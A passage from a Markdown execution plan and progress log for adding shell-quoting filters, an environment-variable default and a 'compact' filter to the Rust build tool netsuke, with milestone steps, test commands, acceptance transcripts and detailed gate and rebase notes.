`shell_single_quote` are untouched; no + persisted or wire format changed; `RecipeShell` visibility widened only as + far as `with_recipe_shell` requires. +- Recovery: the extraction is a pure move; revert restores the prior file. +- Remaining gaps: the filters themselves (EP-M4); the runner still injects + `host_default()`; EP-M4 replaces it with the resolved shell in the same + commit that registers the filters, so the divergence is never shipped. +- Compatibility decision: none required — `from_str_with_env_and_config` and + `StdlibConfig` are pre-1.0 and every caller is in-tree. + +### EP-M4 — `shell_quote` and `shell_join`, with the resolved dialect + +The first draft split this in two: register the filters against +`RecipeShell::host_default()`, then plumb the resolved shell in a later +milestone. **That split is not safe to stop between.** On a Windows host with +`NETSUKE_WINDOWS_SHELL=bash`, the intermediate state quotes for PowerShell +while the recipe runs under Bash. PowerShell quoting doubles an embedded single +quote, so `a'b` becomes `'a''b'`, which a POSIX shell reads as two adjacent +quoted strings concatenated — `ab`. Syntactically valid, so `shlex::split` +accepts it and nothing complains. The build succeeds and the artefact is wrong. +See R11 and constraint 10. The two are therefore one milestone. + +- Identifier and outcome: both filters are registered on both surfaces, quoting + for the dialect of the interpreter that will actually run the recipe, with + the new message keys present in all 35 catalogues. +- Requirements: `RM-3.14.8` bullets 2 and 3; `DD-4.5`; `RFC-0006-8.9` as + amended by D2; `UG-WIN`. +- Red: write `tests/shell_filter_property_tests.rs` with OBL-SH-ROUNDTRIP, + OBL-PS-ROUNDTRIP, OBL-ONE-WORD, OBL-JOIN-SPLIT, OBL-JOIN-QUOTE-AGREE, + OBL-KIND-GATE, OBL-NO-ESCAPE and OBL-CONTEXT with their negative controls; + write `tests/shell_filter_composition_tests.rs` with OBL-COMPOSITION; add the + `shell_*` scenarios to `tests/features/stdlib.feature`. Add the test that + builds a `StdlibConfig` with `.with_recipe_shell(RecipeShell::Bash)` and + asserts `sh` quoting, asserting at the **runner** seam so it is not + tautological. Observe compilation failure, then unknown-filter failures. +- Green: reuse the `src/shell_word.rs` module and shared quoting seam created + by EP-M3 — EP-M4 adds the filters and the runner plumbing, it does not create + that module; add `src/stdlib/recipe_text/`; rename + `src/stdlib/command/quote.rs` to `child_argument.rs`; wire + `recipe_text::register_filters` into both `register_read_only_helpers` and + `register_query_helpers`; thread + `ExecutionContext.graph_generation.recipe_shell` from + `src/runner/mod.rs:130-160` through the manifest-generation path into the + `StdlibConfig` built in `src/manifest/query.rs`; add the `clippy.toml` entry + and its two `#[expect(...)]` sites; add the shell message keys to + `src/localization/keys.rs` and to all 35 catalogues. +- Refactor: if a manifest-loading function would exceed four parameters, group + them into a named struct per `AGENTS.md`. Keep every new file well under 400 + lines and give each new function a `///` comment as it is written, not + afterwards. +- Acceptance evidence: `cargo build` succeeds, proving the localization audit + passes; the property, composition and BDD suites pass; every negative control + fails as designed when its broken implementation is substituted; the + `RecipeShell::Bash` test fails when the runner plumbing is reverted while the + config seam is kept — record that transcript. +- Conformance check: the registered names match `RFC-0006-8.9` as amended; + exactly one `shell_quote::QuoteRefExt::quoted` call site outside the two + `#[expect(...)]`ed ones, now enforced by Clippy; both filters are pure given + a dialect (D6) and correctly available to manifest queries; the query-surface + dialect divergence is pinned by an assertion rather than left latent; + constraint 10 holds; trace links updated. +- Tolerance note: this milestone changes a public signature outside + `src/manifest/` and `src/stdlib/config/` — the manifest-loading entry points + gain a recipe-shell parameter. That trips tolerance 2 **by design**, and it + is recorded here rather than discovered mid-milestone. No escalation is + needed for this specific, foreseen change; any *further* public signature + change still escalates. +- Recovery: revert; the filters, their keys, and the plumbing disappear + together. Reverting only part of it would recreate R11, so revert whole. +- Remaining gaps: documentation (EP-M5). +- Compatibility decision: none required — pre-1.0, all callers in-tree, and + the template surface is new rather than changed (constraint 7b). + +### EP-M5 — documentation, ADR, and reconciliation + +- Identifier and outcome: every document that described these helpers as + planned or unimplemented now describes what ships, a worked `RUSTFLAGS` + example is executed by the test suite, ADR-041 records D1-D3, and the roadmap + entry is ticked. +- Requirements: all of `RM-3.14.8`; `RM-3.14.8` bullet 4 specifically. +- Work: + 1. Write `docs/adr-041-canonical-recipe-shell-quoting-surface.md` following + the Y-Statement shape of `docs/adr-008-environment-seam-taxonomy.md` + (`# Architecture decision record (ADR): …`, then `## Status`, `## Date`, + `## Context and problem statement`, `## Decision`, `## Consequences`). + Record D1, D2, and D3 with their evidence. Add it to `docs/contents.md` + after `ADR-026` (`docs/contents.md:170-172`), matching the existing + one-line-per-entry shape. Re-check the number first, because this plan has + already lost its ADR number once to drift: at `0ba6672f` the highest + listed ADR was `adr-026`, and the repository has a history of collisions. + 2. `docs/netsuke-design.md` §4.4: replace "The `default` argument is planned; + the current implementation only accepts the variable name" with the shipped + contract, including the empty-string rule and the non-UTF-8 rule. + 3. `docs/netsuke-design.md` §4.5: rename `shell_escape` to `shell_quote`, + record the two-dialect set and the host-default rule, drop "planned" from + `shell_join` and `compact`, and link ADR-041. + 4. `docs/netsuke-design.md:687-688` and `:3876-3877`: rename `shell_escape`. + Re-locate the second by content, not by number: it is the "Implement the + full suite of custom Jinja functions (`glob`, `env`, etc.) and filters + (`shell_escape`)" task bullet in the implementation roadmap, which sits + far below the sections this plan's other citations come from. + 5. `docs/users-guide.md:489-491`: replace the "not implemented in beta3" + sentence + with a description of `shell_quote`, its default dialect, and the pointer + to `docs/stdlib-yaml-and-jinja-guide.md`. Cross-reference + `docs/users-guide.md:331-399` so a Windows reader understands why the + default differs. + 6. `docs/users-guide.md:781-782`: replace the sentence beginning "Beta3 does + not accept a default argument" with the shipped `env(name, default=…)` + contract, including the empty-string and non-UTF-8 rules. + 7. `docs/stdlib-yaml-and-jinja-guide.md`: add `compact` to "Transform + collections"; add a new "Build shell recipe text" section documenting + `shell_quote` and `shell_join` with their dialect rules and purity; update + the `env(name)` bullet at lines 318-320. Add the tested example: + + ```markdown + + ``` + + carrying the `RUSTFLAGS` manifest from "Purpose / big picture", with an + explicit `dialect='sh'` so it is host-independent (R4). + 8. Register `stdlib-optional-rustflags-manifest` in `EXPECTED_EXAMPLE_IDS` + (`tests/documentation_examples_tests.rs:18-61`, alphabetical) and add it as + a `#[case]` to `documented_manifest_generates_ninja`. + 9. Add two bounded, label-safe counters beside the existing manifest + instrumentation, following `docs/adr-009-bounded-redacted-manifest-telemetry.md`: + `netsuke_manifest_shell_quote_dialect_total{dialect, source}` where + `source` is `explicit` or `default` (a four-combination label space), and + `netsuke_manifest_env_default_substituted_total` with no labels. Neither + carries manifest content, a variable name, or a value. The first makes + the population exposed to R11 and D10 visible in aggregate; the second + makes R10 visible. Describe both with `describe_counter!`. + + Neither counter will be exported unless it is also admitted by + `src/observability_recorder.rs` — add both names to the `matches!` list + in `accepts_name` and both label sets to `accepts_counter_registration`. + This is constraint 13, and it fails **silently**: an unadmitted series + returns a `Counter::noop` handle, so the build, the lint, and every test + pass while the counter records nothing. The existing + `ENV_LOOKUP_TOTAL => exact_labels(key, &[(OUTCOME_LABEL, + &ENV_LOOKUP_OUTCOME_VALUES)])` arm at + `src/observability_recorder.rs:194` is the shape to copy, and + `src/observability_recorder.rs`'s own tests assert that the admitted + vocabulary and the emitting vocabulary agree — extend them. + + For `netsuke_manifest_env_default_substituted_total`, first check whether + the series earns its keep at all. `env_telemetry::record_env_lookup` + already counts every lookup as `success`, the `success` count minus the + call count is not observable, and the `tracing::debug!` from EP-M1 + already records each substitution. A counter that no dashboard can + distinguish from "no substitutions happened" is noise. If it ships, say + in one sentence what an operator learns from it that the `success` + series and the debug event do not already say; if that sentence cannot be + written, drop the counter and record the decision. + 10. Write the precise guide contract for each helper, not a summary. At + minimum: `shell_quote` renders one string as exactly one word for the + named shell, and for `dialect='sh'` a POSIX shell splitting the output + produces exactly one field byte-identical to the input; the empty string + renders as `''`, not as nothing; the subject must be a string, and + numbers, booleans, sequences, mappings, `none`, and undefined are errors; + tab, escape, and non-ASCII text are preserved, while NUL, carriage + return, and line feed are rejected. `shell_join` never drops an element, + so `['']` renders as one empty word — that is why `compact` and + `shell_join` are separate helpers — it does not flatten a nested list, + and its separator is exactly one space. `compact` drops `none`, + undefined, and the empty string only: `0`, `false`, `[]`, `{}`, and a + whitespace-only string are retained, which is what distinguishes it from + MiniJinja's `select`. State that `shell_quote` and `shell_join` are + filters with no function form, and that both are correct **only in + unquoted argv position**. + 11. `docs/developers-guide.md`: extend the quoting-paths paragraph at lines + 445-458 to name the new fourth path — `src/shell_word.rs` as the + single recipe-shell word quoter used by both `quote_path` and the + `shell_quote`/`shell_join` filters — and state that + `src/stdlib/command/quote.rs` and `shell_single_quote` remain distinct. + Also record: the "add a helper to both registration surfaces" convention; + the 35-catalogue message rule and the requirement to copy the bracketed + `[netsuke::jinja::…]` code verbatim into every translation; the rule that + `Value::try_iter()` is not a sequence check (D8); the argument-style rule + that trailing `Option` is for options reading naturally in a fixed + order while `Kwargs` is for independent named options and any enumerated + value set expected to widen; and the deliberate query-surface dialect + divergence. + 12. `docs/repository-layout.md`: add `src/shell_word.rs` and + `src/stdlib/recipe_text/`, and record the `quote.rs` → + `child_argument.rs` rename under `src/stdlib/command/`. + 13. `docs/rfcs/0006-ansible-inspired-template-standard-library.md` §§8.9 and + 13.3: record the amended dialect set and note that 3.14.8 delivered it. + Keep the edit to those two locations (R3). + 14. `CHANGELOG.md`: one entry under the unreleased heading, following the + Common Changelog style already used in the file. + 15. `docs/roadmap.md:343-356`: tick 3.14.8 and all four sub-bullets; rewrite + the trailing `Note:` to describe what shipped. Add a one-line note to + `RM-6.8.3` (lines 1162-1169) recording that 3.14.8 delivered the canonical + name and the dialect argument, and that only the wider RFC 0006 dialect + set remains. Do **not** tick 6.8.3. +- Acceptance evidence: `make markdownlint`, `make nixie`, `make check-fmt`, and + `make test` all pass; `cargo nextest run --test documentation_examples_tests` + passes, proving the `RUSTFLAGS` manifest generates valid Ninja. +- Conformance check: no `shell_escape` reference remains + (`grep -rn "shell_escape" docs/ src/` returns nothing); every upstream + identifier in `Conformance basis` is either satisfied or has a recorded, + accepted deviation; the RFC 0006 amendment is the only upstream document + changed. +- Recovery: documentation-only; revert individually. +- Remaining gaps: none for `RM-3.14.8`. +- Compatibility decision: none required. + +## Concrete steps + +All commands run from the repository root, +`/home/leynos/.lody/repos/github---leynos---netsuke/worktrees/c72b2360-e95a-451a-b637-1e84cf3eb4b8`, +on branch `3-14-8-jinja-command-helpers-to-match-documented-ergonomics`. + +Capture every long-running gate through `tee`, using the project's log naming +convention so output survives truncation: + +```sh +make test 2>&1 | tee "/tmp/test-$(get-project)-$(git branch --show-current).out" +``` + +Delegate full gate runs to the `scrutineer` subagent rather than running them +in the planning context; read the cited log on failure instead of re-running. + +Per-milestone loop: + +```sh +# 1. Red: write the failing test, then run only it. +cargo nextest run --test manifest_env_tests 2>&1 \ + | tee /tmp/red-3-14-8.out + +# Expect, before implementation: +# FAIL [ 0.012s] netsuke::manifest_env_tests env_default_substitutes_for_absence +# ... unknown keyword argument `default` + +# 2. Green: implement, then re-run the same focused command. +cargo nextest run --test manifest_env_tests 2>&1 | tee /tmp/green-3-14-8.out +# Summary [ 0.9s] 14 tests run: 14 passed + +# 3. Confirm no snapshot drifted. +git status --short src/snapshots tests/snapshots +# (expect no output) + +# 4. Full gates, sequentially — never in parallel. +make check-fmt && make typecheck && make lint && make doc-coverage && make test + +# 5. Commit. +git add -A && git commit +``` + +For EP-M4, run `cargo build` before `make test`: the localization audit is a +build-script failure, and finding a missing catalogue entry there is far faster +than through the test suite. + +```sh +cargo build 2>&1 | tee /tmp/l10n-3-14-8.out +# A missing catalogue looks like: +# error: localization audit failed: +# - missing in ar: stdlib.shell.quote.not_string +# - missing in cs: stdlib.shell.quote.not_string +``` + +## Validation and acceptance + +Quality criteria — what "done" means: + +- **Tests**: `make test` passes. The new suites + `tests/shell_filter_property_tests.rs` and + `tests/stdlib_manifest_query_tests.rs` pass, and the five new + `tests/features/stdlib.feature` scenarios pass through `tests/bdd_tests.rs`. + Those five are `shell_quote makes a metacharacter-bearing value one sh word`, + `shell_join quotes each element separately`, + `shell_quote rejects an unknown dialect and names the accepted set`, + `shell_quote rejects a value containing a line feed`, and + `shell_quote rejects a positional dialect`. They are distinct from the file's + pre-existing `shell filter` scenarios (the `shell` *command* filter added + long before this plan) and from EP-M2's two `compact` scenarios, so a grep + for "shell" in that file over-counts: check the scenario names, not the + substring. `tests/documentation_examples_tests.rs` passes with the new + example id. +- **Verification**: OBL-SH-ROUNDTRIP, OBL-PS-ROUNDTRIP, OBL-ONE-WORD, + OBL-JOIN-SPLIT, OBL-COMPACT, OBL-ENV-DEFAULT, OBL-DIALECT-TOTAL, + OBL-NINJA-STABLE, OBL-NO-ESCAPE, and OBL-QUERY-SURFACE are each discharged, + with their negative controls observed failing at least once and recorded in + `Artefacts and notes`. AXIOM-2's residual gap on non-Windows hosts is stated + in ADR-041. +- **Lint and typecheck**: `make check-fmt`, `make typecheck`, `make lint`, and + `make doc-coverage` all exit zero. `make markdownlint` and `make nixie` pass. +- **Performance**: no benchmark threshold applies. + `tests/shell_filter_property_tests.rs` must complete within 10 seconds under + `cargo nextest run`; if it does not, reduce the subprocess property's `cases` + before considering `#[ignore]`, and escalate if 32 cases is still too slow. +- **Security**: `shell_quote`'s soundness is the security property, and + OBL-SH-ROUNDTRIP plus OBL-ONE-WORD are its evidence. Confirm that no new + message text includes an environment variable name or value, matching the + deliberate omission at `src/manifest/env_reader.rs:121-127`. + +Behavioural acceptance, verifiable by hand. Note that the interpolation sits in +**unquoted** position — this is the precondition, and the first draft of this +plan got it wrong: + +```sh +cd "$(mktemp -d)" +cat > Netsukefile <<'EOF' +netsuke_version: "1.0.0" +vars: + base_flags: "-D warnings" +targets: + - name: stamp.txt + # POSIX recipe shell: `env`, the `VAR=value` prefix, `sh -c` and the single + # quotes all assume `sh`. The dialect is pinned per D10. + command: >- + env RUSTFLAGS={{ [base_flags, env('RUSTFLAGS', default='')] + | compact | join(' ') | shell_quote(dialect='sh') }} + sh -c 'printf "%s\n" "$RUSTFLAGS"' > {{ outs }} +defaults: + - stamp.txt +EOF +netsuke --progress never generate --output build.ninja +grep RUSTFLAGS build.ninja +``` + +Expect, with `RUSTFLAGS` unset, the recipe to carry `-D warnings` as exactly +one shell word in the crate's fragmented form: + +```plaintext + command = env RUSTFLAGS=-D' warnings' sh -c 'printf "%s\n" "$$RUSTFLAGS"' > stamp.txt +``` + +The `$$` is Ninja escaping applied at the writer boundary per ADR-014; Ninja +un-escapes it to a single `$` before the shell sees it. Running `netsuke build` +then writes exactly `-D warnings` to `stamp.txt` — quote characters absent, +because they were shell syntax rather than data. + +With `RUSTFLAGS='-C target-cpu=native'` exported, expect the two flag groups +joined by one space and quoted as a single word: + +```plaintext + command = env RUSTFLAGS=-D' warnings -C target-cpu'=native'' sh -c … > stamp.txt +``` + +In both cases there must be no `${...:+...}` expansion anywhere, and no empty +argument when `RUSTFLAGS` is unset. Confirm the word count directly rather than +by eye: + +```sh +sh -c "set -- -D' warnings -C target-cpu'=native''; echo \$#" +# 1 +``` + +Contrast that with the defective form this plan originally specified, which +placed the interpolation inside double quotes: + +```sh +sh -c 'printf "%s\n" "RUSTFLAGS=-D'"'"' warnings'"'"'"' +# RUSTFLAGS=-D' warnings' <- literal quote characters; the value is corrupt +``` + +These expectations were derived from `shell-quote-0.7.2` and checked against a +real `/bin/sh`; see the note under the behavioural specification for the two +counter-intuitive rules that produce them. + +## Idempotence and recovery + +Every step is re-runnable. `make` targets are pure checks or in-place +formatters. The only step that mutates tracked files unexpectedly is +`make fmt`, which may reformat Markdown that was already non-canonical; commit +such reformatting separately. + +Each milestone is one commit, so `git revert ` restores the previous +plateau. EP-M3 is a pure move, so reverting it cannot change generated output. +No step writes outside the repository except `tee` logs under `/tmp`. + +If the localization audit fails mid-edit, the tree still builds once every +catalogue has the key; there is no partial state to clean up. + +## Progress + +- [x] (2026-09-08) Reconnaissance complete: `env()` implementation and seam, + registration surfaces, recipe-shell semantics, existing quoting paths, + localization gate, test and documented-example infrastructure. +- [x] (2026-09-08) Design decisions D1-D7 recorded; D1 and D2 confirmed by the + requester. +- [x] (2026-09-08) ExecPlan drafted. +- [x] (2026-09-09) Six-lens community-of-experts review completed and applied. + Falsified three MiniJinja assumptions (D4, D8, AXIOM-4), corrected the + `quote_path` citation, restated the encoder inventory as five, redrew + three module boundaries, fixed the acceptance transcript's + double-quoted-context defect, added the threat model, and fused the + former EP-M4 and EP-M5 to close R11. +- [x] (2026-09-19) Plan approved: the requester directed implementation to + proceed, with CodeRabbit review after each milestone and a commit per + milestone. +- [x] (2026-09-19) Branch rebased onto `origin/main` (`0ba6672f`, previously + `81d44f89`). Clean, with no conflicts: all eight branch commits touch only + this ExecPlan file. +- [x] (2026-09-19) Post-rebase reconciliation. Found and recorded six things + upstream had already landed that this plan scheduled, depended on, or + assumed pending: the `src/manifest/registration.rs` extraction (R9 + resolved as convergence, not collision), ADR-026 with the + `EnvAccessPolicy`/`ManifestEnvironment` seam, `ManifestLoadInputs` and + the resource-ceiling budgets, the `netsuke_manifest_env_lookups_total` + bounded telemetry series, and a shifted document-line frame. Consequences + applied: the plan's ADR is renumbered `021` → `027`; every + `Conformance basis` anchor is re-taken against `0ba6672f`; EP-M1's + extract step is deleted and replaced by an extend step; + `env_var_with_default` gains the policy parameter so `default=` cannot + bypass ADR-026; Stage A's three go/no-go checks are re-checked and + recorded; and `src/manifest/render.rs` is flagged as being exactly at the + 400-line cap, with `src/manifest/mod.rs` freed from it. +- [x] (2026-09-19) EP-M1 extraction committed as a pure move (`16c3cfe6`) with + green gates: `register_env_function` and `register_glob_function` now + live in `src/manifest/registration.rs`, and `src/manifest/mod.rs` fell + from 259 to 252 lines. +- [x] EP-M1 `env(name, default=...)`. Red tests and both new localization key + sets are in place; `env_var_with_default`, `env_default_from_kwargs`, the + registration, and the query-surface stub are implemented and green; the + three `manifest.feature` scenarios and their fixtures are added and pass. + Post-implementation gate triage: the first `make lint` run surfaced four + findings, all resolved — `doc_markdown` and `option_if_let_else` in + `src/manifest/registration.rs`, a `single_match_else` / + `option_if_let_else` *contradiction* on one site in + `src/manifest/env_reader.rs` (resolved by extracting + `substitute_fallback`), `too_many_arguments` and a second `doc_markdown` + in `tests/manifest_env_tests.rs`, and a Whitaker + `no_expect_outside_tests` in `src/manifest/tests/env_function.rs`, whose + shared `assert_resolution` helper was reduced to a comparable + `Resolved` enum so no `expect` sits outside a `#[test]` body. `make lint` + is now green. Committed as `5d66db48` after a full green gate run. +- [x] EP-M1a (post-review): CodeRabbit's `--agent` pass on `5d66db48` returned + 13 unique findings. Seven were real plan-document drift and are now + fixed: a stale three-argument `env_var_with_default` sketch, a stale + "undefined or non-string" doc line contradicted by D4's own EP-M1 note, a + `dialect` sketch still reading `Option` where D4 revised it to + `Option`, `ShellDialect::ACCEPTED` named where the plan declares + `ALL` (three sites), a five-case partition described against a four-case + outcome set, and two literal cut-and-paste duplications. Two were real + code findings, both fixed: `tests/manifest_env_tests.rs` was 420 lines + against AGENTS.md's explicit 400-line cap, so the `default`-argument cases + moved to `tests/manifest_env_tests/default_argument.rs` behind a `#[path]` + declaration (the split halves are 246 and 189 lines), and the fallback + path had no telemetry coverage, so + `a_substituted_fallback_counts_one_success_series` was added to + `src/manifest/tests/env_telemetry.rs` and proved non-vacuous by a negative + control. The remaining four findings — translation wording in the `nl`, + `nb`, `id`, and `it` catalogues — were rejected as hallucinations: the + text each finding quotes appears in **no** catalogue, in any locale. + The split then caused two *new* clippy findings, both because lifting code + out of a `#[test]` body also lifts it out of `clippy.toml`'s + `allow-expect-in-tests` exemption: `needless_pass_by_value` on + `render_first_command`'s reader parameter, and `expect_used` on the shared + `ensure_template_is_rejected`. Both were fixed structurally rather than by + adding `#[expect]` — the reader is now taken by reference, and the helper + returns the error via a `let … else`, matching the sibling module's own + style. See `Surprises & discoveries` for the general lesson. With the + round's edits applied, all seven commit gates pass again — `check-fmt`, + `lint` (all four sub-targets, this time including `github-actions-lint`), + `typecheck`, `markdownlint`, `doc-coverage` (98.80%), `test` (3213/3213 + plus doctests), and `nixie` — and the tree was confirmed unmutated by + comparing `git status --short` and `git rev-parse HEAD` either side of the + run. +- [x] EP-M2 `compact`. Committed as `683a166b`, the first fully green milestone + of this plan: all seven gates pass (check-fmt, lint with all four + sub-targets, typecheck, markdownlint, doc-coverage 98.80%, test 3225/3225 + plus doctests, and nixie 143 diagrams), with `git status --short` empty on + both sides of the run. Targeted selections: `std_filter_tests` 130/130 and + `stdlib_manifest_query_tests` 4/4, the latter including + `query_surface_renders_its_permitted_helpers`, whose new `compact` table + row is the conformance check the milestone asks for. Logs: + `/tmp/nextest-std-filter-3-14-8-…out`, + `/tmp/nextest-query-surface-3-14-8-…out`, and the gate logs under + `/tmp/-netsuke-3-14-8-jinja-….out`. Restart notes, all of which + cost time to rediscover. The registration + belongs in `register_filters`, not beside the private filter bodies, + because `src/stdlib/register.rs` calls `collections::register_filters` + from both `register_read_only_helpers` and `register_query_helpers`; a + registration placed outside it reaches only the surface being edited. The + blank predicate must treat undefined as blank as well as `none` while + retaining `0`, `false`, and whitespace — so a test asserting Python-style + `join` output must expect `False`, not `false`, and `ValueKind`'s spelling + of the boolean kind is `"bool"`, not `"boolean"`. The split under + `tests/std_filter_tests/collection_filters/` was forced by AGENTS.md's + 400-line cap, not by the plan's refactor step: the flat file reached 473 + lines once the new cases landed, against 212 at HEAD. `compact_property`'s + `FileFailurePersistence::Direct` path is + `tests/std_filter_tests.proptest-regressions`, which does not yet exist + because nothing has failed; that is expected, not a missing file. The + deterministic witness case deliberately omits the whitespace-only member + the property generates, because `join` renders `" "` indistinguishably + from `""` and an unedited expectation would have been validated against a + run in which it passed for the wrong reason; the property carries that + case instead. +- [x] EP-M3 shared recipe-shell quoting seam. `src/shell_word.rs` holds the + single `quote_word` encoder, `is_recipe_admissible`, and `ShellDialect`; + `quote_path` in `src/ir/cmd_interpolate/mod.rs:137` is a one-line + delegation; `RecipeShell::dialect()` maps the three interpreters onto the + two dialects; `validate_ninja_value` in `src/ninja_gen_escape.rs:47` + delegates to the shared predicate rather than carrying its own copy; the + `//!` header states the leaf position required by the milestone's refactor + step. Generated Ninja is unchanged — see the commit entry below for the + non-vacuity evidence. Epistemic note: the delivery moved one item the + milestone's Green step had not asked for, and deferred one that + `OBL-DIALECT-TOTAL` implies. `ShellDialect::ALL`/`as_str`/`parse` were + written here and then removed: they exist only to serve the recipe-text + filters' `dialect` keyword argument, whose consumer arrives in EP-M4, and + no attribute could mark them dormant without lying in one profile — + `--all-targets` (the profile the gates use) compiles the unit tests that + call them, so a `dead_code` *expectation* there is unfulfilled and warns, + while the same expectation in the lib-only profile is fulfilled. The trio + therefore lands with its consumer. `OBL-DIALECT-TOTAL`'s artefact is + consequently `src/shell_word.rs`'s test module **as EP-M4 leaves it**; the + test shipped here covers only the `RecipeShell` → `ShellDialect` half, + which is the half EP-M3 makes true. The error-text enumeration half of + that obligation cannot exist before the filter that renders it. + + Two plan defects surfaced while discharging the Green step. First, the + milestone requires `StdlibConfig::with_recipe_shell` (lines 1878, 1890, + 1901) while `Surprises and discoveries` says EP-M4 adds the `dialect` + field (line 2572) — the two cannot both hold. Resolved in favour of the + milestone text, because EP-M4's own Red step *uses* the builder at line 1931 + and a Red step cannot use an API the Green step has not yet added. Second, + `src/stdlib/config/mod.rs` was already at 383 lines against AGENTS.md's + 400-line cap, and the field plus builder pushed it to 405, so the + recipe-shell builder and its accessor went into a new sibling + `src/stdlib/config/recipe_shell.rs` — the same clustering `which.rs` and + `ambient.rs` already use, and the same remedy the plan's own line 2572 + prescribes. The accessor is `#[cfg(test)]` until EP-M4 supplies its caller: a + `pub(crate)` item with no reader is dead code, and neither `allow` nor + `expect` marks it dormant truthfully, since the new tests make an `expect` + unfulfilled in the `--all-targets` profile the gates run while the lib-only + profile fulfils it. The `pub` builder needs no such treatment — `pub` items + are never dead. EP-M4 removes the gate with the caller. +- [x] (2026-09-27) Branch rebased onto `origin/main` (`ebcedaef`, previously + `0ba6672f`), 40 commits of drift. Pre-rebase head `be2733a1` is retained + at `refs/backup/3-14-8-pre-rebase-20260927` and its 15 patch-ids were + captured before the rewrite. All 15 commits replayed; **no tree was + dropped**. Fourteen are byte-identical, which `git range-diff` reports + with `=` and a matching `git patch-id --stable` digest for each. Only + EP-M3 differs (`!`), because it is the one commit whose resolution has + content, and it differs **only** across the three keep-both regions of + `src/stdlib/config/mod.rs`; its per-commit `--stat` is unchanged at eight + files, 659 insertions, 22 deletions. `git merge-tree --write-tree` had + predicted exactly one conflicting path against four auto-merged ones, and + that is what happened. The conflict is a pure adjacent-addition collision: + upstream added `mod clock;`, the `time::WallClock` import, a `clock: + WallClock` field and its `WallClock::default()` initializer in the same + three regions where EP-M3 adds `mod recipe_shell;`, the `RecipeShell` and + `ShellDialect` imports, a `dialect: ShellDialect` field and its + `RecipeShell::host_default().dialect()` initializer. Both sides were kept + at every region, so the resolution is the union of two independent + additions and neither side's work is amended. The merged file is 397 + lines against AGENTS.md's 400-line cap — 6 more than upstream's 391 + because EP-M3's five lines land in a file that was already the binding + constraint on this milestone, and 3 lines of headroom remain. Each + auto-merge was read rather than trusted: upstream's four are `Arc`-reader + plumbing in `src/manifest/mod.rs`, a `Kwargs`-taking `env` stub in + `src/stdlib/register.rs`, a `time_functions` module declaration in + `tests/std_filter_tests.rs`, and doc-comment/vocabulary renames in + `src/ir/cmd_interpolate/mod.rs`; no hunk range of theirs overlaps EP-M3's, + and the only semantic pairing is that upstream's deletion of + `try_match_dollar_placeholder` leaves the `find_substitution` call EP-M3 + depends on intact, which was confirmed by grep before continuing. +- [x] (2026-09-27) The `ebcedaef` rebase created a 400-line-cap regression in + `src/stdlib/register.rs` that neither side owned. The file left the + merge-base at 393, upstream grew it to 398, and EP-M1's `Kwargs` change + to the `env` query stub added 3 more, reaching 401. Neither contribution + is individually at fault and the pre-rebase tree genuinely passed — the + cap is crossed only by their sum, which is exactly the kind of defect a + rebase manufactures. The +3 is not revertible: upstream routes the `env` + function through a `Kwargs`-taking path, so a stub without `_kwargs` + panics at runtime on a `default=` call, replacing a clean diagnostic with + a crash. The file was split instead: the query-disabled cluster (the + marker, the error constructor that appends it, and the two registration + functions that raise it) moved to `src/stdlib/register/query_helpers.rs`, + declared with an explicit `#[path]` so `clippy::self_named_module_files` + stays satisfied. The parent keeps + `MANIFEST_QUERY_DISABLED_HELPER_MARKER` declared at `pub(super)` because + the child appends it and the parent's consumers name the same constant, + and the `pub(crate)` predicate is re-exported from the parent so every + `super::is_manifest_query_disabled_error` path in the tree still + resolves. Result: parent 401 → 297, child 135, and no file in `src/` + exceeds 400. Verified with `cargo check --lib` and, crucially, with + `cargo check --all-targets`, both under `-D warnings` — the lib-only + profile does not compile `#[cfg(test)]` modules, so it would not have + proved the split sound. +- [x] (2026-09-27) The split above was performed by hand-retyping the cluster + rather than by moving the text, and three closures drifted. Only one was + caught, and the reason is worth recording because it generalizes. + + Three closures changed against the pre-image at + `719e7beb:src/stdlib/register.rs:180-291` (cited by that commit's hash, not + as `HEAD~1`, which stopped naming it the moment the split was committed). + `digest` gained an arity: the pre-image took + `(_value: String, _length: Option, _algorithm: Option)` and + the committed form took `(_state: &State, _value: Value, _algorithm: + String, _encoding: Option)`. `linecount` changed return type, + `Result` to `Result`. `hash` changed + registration kind and arity, from `add_filter(_value: String, + _algorithm: Option)` to `add_function(_value: Value, _kwargs: + Kwargs)`. + + Only `digest` was caught. It failed because an arity mismatch raises + during argument binding, before the stub body runs, so it produced + "missing argument" + rather than the helper's name. `linecount` and `hash` changed types and + registration kind while `case_11_hash` still passed *with `hash` + registered as a function*: the case asserted only that the error text + contains the helper's name, and MiniJinja's own `unknown filter: hash` + contains it too. The assertion could not distinguish "deliberately + disabled" from "never registered at all" — so a name-only assertion + silently accepted a stub that had stopped being a stub. + + Fixing that assertion to require the marker exposed a second vacuous + case, `case_13_file_test`, which had been passing for the wrong reason + since before this branch: `register_file_tests` is reachable only from + `register_read_only_helpers`, so `'x' is file` failed as "unknown test: + test file is unknown". File tests call `symlink_metadata`, so they do + disclose host state and belong in the disabled set; stubs are now + registered for them, with the names taken from the parent's `FILE_TESTS` + rather than retyped, so the two lists cannot drift. That the compiler + enforces the wiring is a useful property: with the stub registration + removed, the now-unused function is a `-D warnings` error. + +- [x] (2026-09-27) Gate run at `17e8386a`, the commit that cleared the + CodeRabbit review. Six of seven gates green: `check-fmt` 8 s, `lint` + 129 s with all four prerequisites and all five `lint-python` stages + verified as actually run, `typecheck` 17 s, `markdownlint` 14 s (165 + files, 0 errors), `doc-coverage` 40 s (98.82%, 4772/4829), `nixie` 3 s. + `make test` was **red**: `test-nextest` aborted with Error 100 after + `packaged_manifest_retains_build_script_sources` hit the 300 s nextest + termination cap, so `doctest` never ran and is unverified. + + This was recorded rather than waved away, because "not ours" is not the + same claim as "intermittent". What was measured: the test ran in the + serialized `nested-cargo-builds` group, which bounds concurrency but not + queueing; a preserved log of the previous head shows the identical test + passing at 213.380 s with `cargo publish --dry-run completed + elapsed_seconds=212.57`, so effectively the whole test is one cold build + with 87 s of headroom; the timed-out run never reached that log line, so + it was killed mid-build; host load was 53.07, with two sibling netsuke + worktrees running their own `make lint` and `make test`; and the branch + touches neither `Cargo.toml` nor `Cargo.lock`, so the dependency graph + that cold build compiles is byte-identical to the base and cannot have + grown. + + The decisive point is that this test spans 243 s at load ~5 (passes) to + over 300 s at load 52 (timeout) on an unchanged commit on this host. A + local re-run is therefore evidence about the host, not about the branch. + CI is the stable oracle, and it runs the `Doc-tests` blocks independently + of the local fail-fast, so it settles `doctest` as well. The branch was + pushed fast-forward (`94b9b247` to `17e8386a`) and CI was asked to cover + exactly this commit. + +- [x] (2026-09-27) EP-M4 catalogue work. 